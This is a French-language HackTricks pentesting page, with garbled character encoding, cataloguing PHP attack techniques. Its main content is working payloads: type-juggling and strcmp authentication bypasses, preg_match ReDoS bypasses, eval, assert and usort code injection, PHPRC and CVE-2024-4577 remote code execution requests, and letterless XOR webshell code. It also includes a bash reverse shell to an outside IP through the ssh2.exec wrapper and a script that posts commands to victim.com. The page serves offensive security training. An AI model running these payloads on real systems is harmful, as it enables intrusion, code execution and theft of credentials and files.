Astuces PHP
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Emplacements courants des Cookies:
Ceci est également valable pour les cookies phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Emplacements:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Contourner les comparaisons PHP
Comparaisons lĂąches/Type Juggling ( == )
Si == est utilisĂ© en PHP, il existe des cas inattendus oĂč la comparaison ne se comporte pas comme prĂ©vu. Cela sâexplique par le fait que â==â ne compare que les valeurs converties au mĂȘme type ; si vous voulez aussi vĂ©rifier que le type des donnĂ©es comparĂ©es est le mĂȘme, vous devez utiliser ===.
PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php
.png)
"string" == 0 -> TrueUne chaĂźne qui ne commence pas par un chiffre est Ă©gale Ă un nombre"0xAAAA" == "43690" -> TrueLes chaĂźnes composĂ©es de nombres en dĂ©cimal ou hex peuvent ĂȘtre comparĂ©es Ă dâautres nombres/chaĂźnes avec True comme rĂ©sultat si les nombres sont identiques (les nombres dans une chaĂźne sont interprĂ©tĂ©s comme des nombres)"0e3264578" == 0 --> TrueUne chaĂźne commençant par â0eâ et suivie de nâimporte quoi sera Ă©gale Ă 0"0X3264578" == 0X --> TrueUne chaĂźne commençant par â0â suivie de nâimporte quelle lettre (X peut ĂȘtre nâimporte quelle lettre) et suivie de nâimporte quoi sera Ă©gale Ă 0"0e12334" == "0" --> TrueCeci est trĂšs intĂ©ressant car dans certains cas vous pouvez contrĂŽler la chaĂźne dâentrĂ©e de â0â et un contenu qui est hashĂ© puis comparĂ© Ă celle-ci. Donc, si vous pouvez fournir une valeur qui gĂ©nĂšre un hash commençant par â0eâ et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des chaĂźnes dĂ©jĂ hashĂ©es avec ce format ici : https://github.com/spaze/hashes"X" == 0 --> TrueToute lettre dans une chaĂźne est Ă©gale Ă lâint 0
More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling affecte aussi la fonction in_array() par défaut (il faut passer true en troisiÚme argument pour forcer une comparaison stricte):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Si cette fonction est utilisĂ©e pour toute vĂ©rification dâauthentification (comme vĂ©rifier le mot de passe) et que lâutilisateur contrĂŽle un cĂŽtĂ© de la comparaison, il peut envoyer un tableau vide au lieu dâune chaĂźne comme valeur du mot de passe (https://example.com/login.php/?username=admin&password[]=) et contourner cette vĂ©rification :
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
La mĂȘme erreur se produit avec strcasecmp()
Coercition de type stricte
MĂȘme si === est utilisĂ©, il peut y avoir des erreurs qui rendent la comparaison vulnĂ©rable Ă la coercition de type. Par exemple, si la comparaison convertit les donnĂ©es en un type dâobjet diffĂ©rent avant de comparer :
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*)
preg_match() peut ĂȘtre utilisĂ© pour validate user input (il checks si un word/regex de la blacklist est present dans le user input et si ce nâest pas le cas, le code peut poursuivre son exĂ©cution).
New line bypass
Cependant, lors de la dĂ©limitation du dĂ©but du regexp avec preg_match() il only checks the first line of the user input, donc si vous pouvez send lâinput sur several lines, vous pourriez ĂȘtre capable de bypass cette vĂ©rification. Exemple:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Pour contourner cette vérification, vous pouvez envoyer la valeur avec des sauts de ligne encodés en URL (%0A) ou, si vous pouvez envoyer des JSON data, envoyez-les sur plusieurs lignes:
{
"cmd": "cat /etc/passwd"
}
Trouvez un exemple ici : https://ramadistra.dev/fbctf-2019-rceservice
Length error bypass
(Ce bypass a apparemment Ă©tĂ© essayĂ© sur PHP 5.2.5 et je nâai pas rĂ©ussi Ă le faire fonctionner sur PHP 7.3.15)
Si vous pouvez envoyer Ă preg_match() une entrĂ©e valide mais trĂšs large, il ne pourra pas la traiter et vous pourrez bypass la vĂ©rification. Par exemple, sâil effectue le blacklisting dâun JSON vous pourriez envoyer :
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
Source : https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Astuce provenant de : https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
.png)
En bref le problĂšme survient parce que les fonctions preg_* de PHP sâappuient sur la PCRE library. Dans PCRE, certaines expressions rĂ©guliĂšres sont Ă©valuĂ©es en utilisant beaucoup dâappels rĂ©cursifs, ce qui consomme beaucoup dâespace de pile. Il est possible de dĂ©finir une limite au nombre de rĂ©cursions autorisĂ©es, mais en PHP cette limite defaults to 100.000 qui est supĂ©rieure Ă ce que la pile peut contenir.
This Stackoverflow thread Ă©tait Ă©galement liĂ© dans le post oĂč le sujet est abordĂ© plus en profondeur. Notre tĂąche Ă©tait maintenant claire :
Envoyer un input qui ferait que la regex effectue plus de 100_000 rĂ©cursions, provoquant un SIGSEGV, faisant que la fonction preg_match() retourne false, poussant ainsi lâapplication Ă penser que notre input nâest pas malveillant, en plaçant Ă la fin du payload quelque chose comme {system(<verybadcommand>)} pour obtenir SSTI â> RCE â> flag :).
En termes de regex, nous ne faisons pas rĂ©ellement 100k ârecursionsâ, mais nous comptons plutĂŽt des âbacktracking stepsâ, qui, comme le PHP documentation lâindique, sont par dĂ©faut Ă 1_000_000 (1M) dans la variable pcre.backtrack_limit.
Pour y parvenir, 'X'*500_001 produira 1 million de backtracking steps (500k vers lâavant et 500k en arriĂšre) :
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling pour PHP obfuscation
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Si PHP redirige vers une autre page mais quâaucune fonction die ou exit nâest appelĂ©e aprĂšs le header Location, PHP continue lâexĂ©cution et ajoute les donnĂ©es au corps :
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Vérifier :
Plus dâastuces
- register_globals: In PHP < 4.1.1.1 or if misconfigured, register_globals may be active (or their behavior is being mimicked). This implies that in global variables like $_GET if they have a value e.g. $_GET[âparamâ]=â1234â, you can access it via $param. Therefore, by sending HTTP parameters you can overwrite variables that are used within the code.
- The PHPSESSION cookies of the same domain are stored in the same place, therefore if within a domain different cookies are used in different paths you can make that a path accesses the cookie of the path setting the value of the other path cookie.
De cette façon, si les deux paths accĂšdent Ă une variable portant le mĂȘme nom vous pouvez faire en sorte que la valeur de cette variable dans path1 sâapplique Ă path2. Et alors path2 acceptera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2). - When you have the usernames of the users of the machine. Check the address: /~<USERNAME> to see if the php directories are activated.
- If a php config has
register_argc_argv = Onthen query params separated by spaces are used to populate the array of argumentsarray_keys($_SERVER['argv'])like if they were arguments from the CLI. This is interesting because if that setting is off, the value of the args array will beNullwhen called from the web as the ars arry wonât be populated. Therefore, if a web page tries to check if itâs running as a web or as a CLI tool with a comparison likeif (empty($_SERVER['argv'])) {an attacker could send parameters in the GET request like?--configPath=/lalalaand it will think itâs running as CLI and potential parse and use those arguments. More info in the original writeup. - LFI and RCE using php wrappers
password_hash/password_verify
These functions are typically used in PHP to generate hashes from passwords and to check if a password is correct compared with a hash.
Les algorithmes supportés sont : PASSWORD_DEFAULT et PASSWORD_BCRYPT (commence par $2y$). Notez que PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. Et actuellement, PASSWORD_BCRYPT a une limite de taille en entrée de 72bytes. Par conséquent, lorsque vous essayez de hasher quelque chose de plus grand que 72bytes avec cet algorithme, seuls les 72 premiers octets seront utilisés :
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
Contournement des en-tĂȘtes HTTP en abusant des erreurs PHP
Provoquer une erreur aprĂšs avoir dĂ©fini les en-tĂȘtes
From this twitter thread vous pouvez voir quâen envoyant plus de 1000 GET params ou 1000 POST params ou 20 files, PHOP ne va pas dĂ©finir les en-tĂȘtes dans la rĂ©ponse.
Permettant, par exemple, de contourner les en-tĂȘtes CSP dĂ©finis dans des codes comme :
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Remplir un body avant de définir les headers
Si une page PHP affiche des erreurs et echoe en retour une entrĂ©e fournie par lâutilisateur, lâutilisateur peut faire en sorte que le serveur PHP renvoie du contenu suffisamment long pour que, lorsquâil tente dâajouter les headers dans la rĂ©ponse, le serveur gĂ©nĂšre une erreur.
Dans le scĂ©nario suivant, lâattaquant a fait en sorte que le serveur gĂ©nĂšre de grosses erreurs, et comme vous pouvez le voir sur lâĂ©cran, quand php a tentĂ© de modifier les informations dâen-tĂȘte, il nâa pas pu (par exemple le CSP header nâa pas Ă©tĂ© envoyĂ© Ă lâutilisateur) :
.png)
SSRF in PHP functions
Consultez la page :
ssh2.exec stream wrapper RCE
When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
suffit pour exécuter des commandes shell via SSH sur localhost :
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
- La partie credential peut rĂ©utiliser nâimporte quel leaked system password (p.ex., depuis des cracked bcrypt hashes).
- Le
#final met en commentaire le suffixe cĂŽtĂ© serveur (files/<id>.zip), donc seule votre commande sâexĂ©cute. - Blind RCE est confirmĂ©e en surveillant lâegress avec
tcpdump -ni tun0 icmpou en servant un HTTP canary.
Remplacez la commande par un reverse shell payload une fois validée:
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
Parce que tout se passe Ă lâintĂ©rieur du worker PHP, la connexion TCP provient de la cible et hĂ©rite des privilĂšges du compte injectĂ© (yuri, eric, etc.).
Exécution de code
system(âlsâ);ls;
shell_exec(âlsâ);
Voir ceci pour dâautres fonctions PHP utiles
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Pour exĂ©cuter le code dans lâargument âreplaceâ il faut au moins une correspondance.
Cette option de preg_replace a été dépréciée depuis PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Cette fonction dans php permet dâexĂ©cuter du code Ă©crit dans une chaĂźne afin de retourner true ou false (et selon cela modifier lâexĂ©cution). Habituellement la variable utilisateur sera insĂ©rĂ©e au milieu dâune chaĂźne. Par exemple:assert("strpos($_GET['page']),'..') === false") â> Dans ce cas, pour obtenir RCE vous pourriez faire:
?page=a','NeVeR') === false and system('ls') and strpos('a
Vous devrez casser la syntaxe du code, ajouter votre payload, puis la corriger. Vous pouvez utiliser des opĂ©rations logiques telles que âandâ or â%26%26â or â|â. Notez que âorâ, â||â ne fonctionnent pas car si la premiĂšre condition est vraie notre payload ne sera pas exĂ©cutĂ©. De la mĂȘme façon â;â ne fonctionne pas car notre payload ne sera pas exĂ©cutĂ©.
Other option est dâajouter Ă la chaĂźne lâexĂ©cution de la commande: '.highlight_file('.passwd').'
Other option (si vous avez le code interne) est de modifier une variable pour altĂ©rer lâexĂ©cution: $file = "hola"
RCE via usort()
Cette fonction est utilisĂ©e pour trier un tableau dâĂ©lĂ©ments en utilisant une fonction spĂ©cifique.
Pour abuser de cette fonction:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
You can also use // to comment the rest of the code.
Pour découvrir le nombre de parenthÚses que vous devez fermer :
?order=id;}//: on obtient un message dâerreur (Parse error: syntax error, unexpected ';'). Il manque probablement une ou plusieurs accolades.?order=id);}//: on obtient un warning. Cela semble correct.?order=id));}//: on obtient un message dâerreur (Parse error: syntax error, unexpected ')' i). Il y a probablement trop dâaccolades fermantes.
RCE via .httaccess
Si vous pouvez upload un .htaccess, alors vous pouvez configure plusieurs choses et mĂȘme exĂ©cuter du code (en configurant que les fichiers avec lâextension .htaccess peuvent ĂȘtre executed).
Different .htaccess shells can be found here
RCE via Env Variables
Si vous trouvez une vulnĂ©rabilitĂ© qui vous permet de modify env variables in PHP (et une autre pour upload des fichiers, bien quâavec plus de recherche cela puisse peutâĂȘtre ĂȘtre contournĂ©), vous pourriez abuser de ce comportement pour obtenir RCE.
LD_PRELOAD: Cette variable dâenvironnement permet de charger des bibliothĂšques arbitraires lors de lâexĂ©cution dâautres binaires (bien que dans ce cas cela puisse ne pas fonctionner).PHPRC: Indique Ă PHP oĂč localiser son fichier de configuration, gĂ©nĂ©ralement appelĂ©php.ini. Si vous pouvez uploader votre propre fichier de configuration, utilisezPHPRCpour pointer PHP dessus. Ajoutez une entrĂ©eauto_prepend_filespĂ©cifiant un second fichier uploadĂ©. Ce second fichier contient du code PHP normal, qui est alors exĂ©cutĂ© par le runtime PHP avant tout autre code.
- Upload a PHP file containing our shellcode
- Upload a second file, containing an
auto_prepend_filedirective instructing the PHP preprocessor to execute the file we uploaded in step 1 - Set the
PHPRCvariable to the file we uploaded in step 2.
- Get more info on how to execute this chain from the original report.
- PHPRC - another option
- If you cannot upload files, you could use in FreeBSD the âfileâ
/dev/fd/0which contains thestdin, being the body of the request sent to thestdin: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'- Or to get RCE, enable
allow_url_includeand prepend a file with base64 PHP code: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'- Technique from this report.
XAMPP CGI RCE - CVE-2024-4577
Le serveur web parse les requĂȘtes HTTP et les transmet Ă un script PHP en exĂ©cutant une requĂȘte telle que http://host/cgi.php?foo=bar sous la forme php.exe cgi.php foo=bar, ce qui permet une injection de paramĂštres. Cela permettrait dâinjecter les paramĂštres suivants pour charger le code PHP depuis le corps :
-d allow_url_include=1 -d auto_prepend_file=php://input
De plus, il est possible dâinjecter le paramĂštre â-â en utilisant le caractĂšre 0xAD en raison de la normalisation ultĂ©rieure de PHP. Consultez lâexemple dâexploit dans this post:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
In this post il est possible de trouver dâexcellentes idĂ©es pour gĂ©nĂ©rer un brain fuck PHP code lorsque trĂšs peu de caractĂšres sont autorisĂ©s.
De plus, une maniĂšre intĂ©ressante dâexĂ©cuter des fonctions est proposĂ©e, ce qui leur a permis de bypass plusieurs vĂ©rifications :
(1)->{system($_GET[chr(97)])}
Analyse statique PHP
Vérifiez si vous pouvez insérer du code dans les appels à ces fonctions (depuis here):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Si vous dĂ©boguez une application PHP vous pouvez activer globalement lâaffichage des erreurs dans /etc/php5/apache2/php.ini en ajoutant display_errors = On et redĂ©marrer Apache : sudo systemctl restart apache2
Déobfuscation du code PHP
Vous pouvez utiliser le web www.unphp.net pour déobfusquer du code PHP.
PHP Wrappers & Protocols
Les PHP Wrappers et protocols peuvent vous permettre de bypass write and read protections dans un systĂšme et de le compromettre. Pour more information check this page.
Xdebug unauthenticated RCE
Si vous voyez que Xdebug est enabled dans une sortie de phpconfig() vous devriez tenter dâobtenir une RCE via https://github.com/nqxcode/xdebug-exploit
Variable variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE en abusant de new $_GET[âaâ]($_GET[âbâ])
Si sur une page vous pouvez create a new object of an arbitrary class vous pourriez obtenir RCE, consultez la page suivante pour apprendre comment :
Php Rce Abusing Object Creation New Usd Get A Usd Get B
Exécuter PHP sans lettres
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
En utilisant lâoctal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If Âą___ not needed then $_($__), show_source(.passwd)
XOR easy shell code
Selon this writeup, il est possible de générer un shellcode simple de cette façon :
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Donc, si vous pouvez exĂ©cuter du PHP arbitraire sans chiffres ni lettres, vous pouvez envoyer une requĂȘte comme la suivante en abusant de ce payload pour exĂ©cuter du PHP arbitraire :
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Pour une explication plus approfondie, consultez https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (dans eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Ă la Perl
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


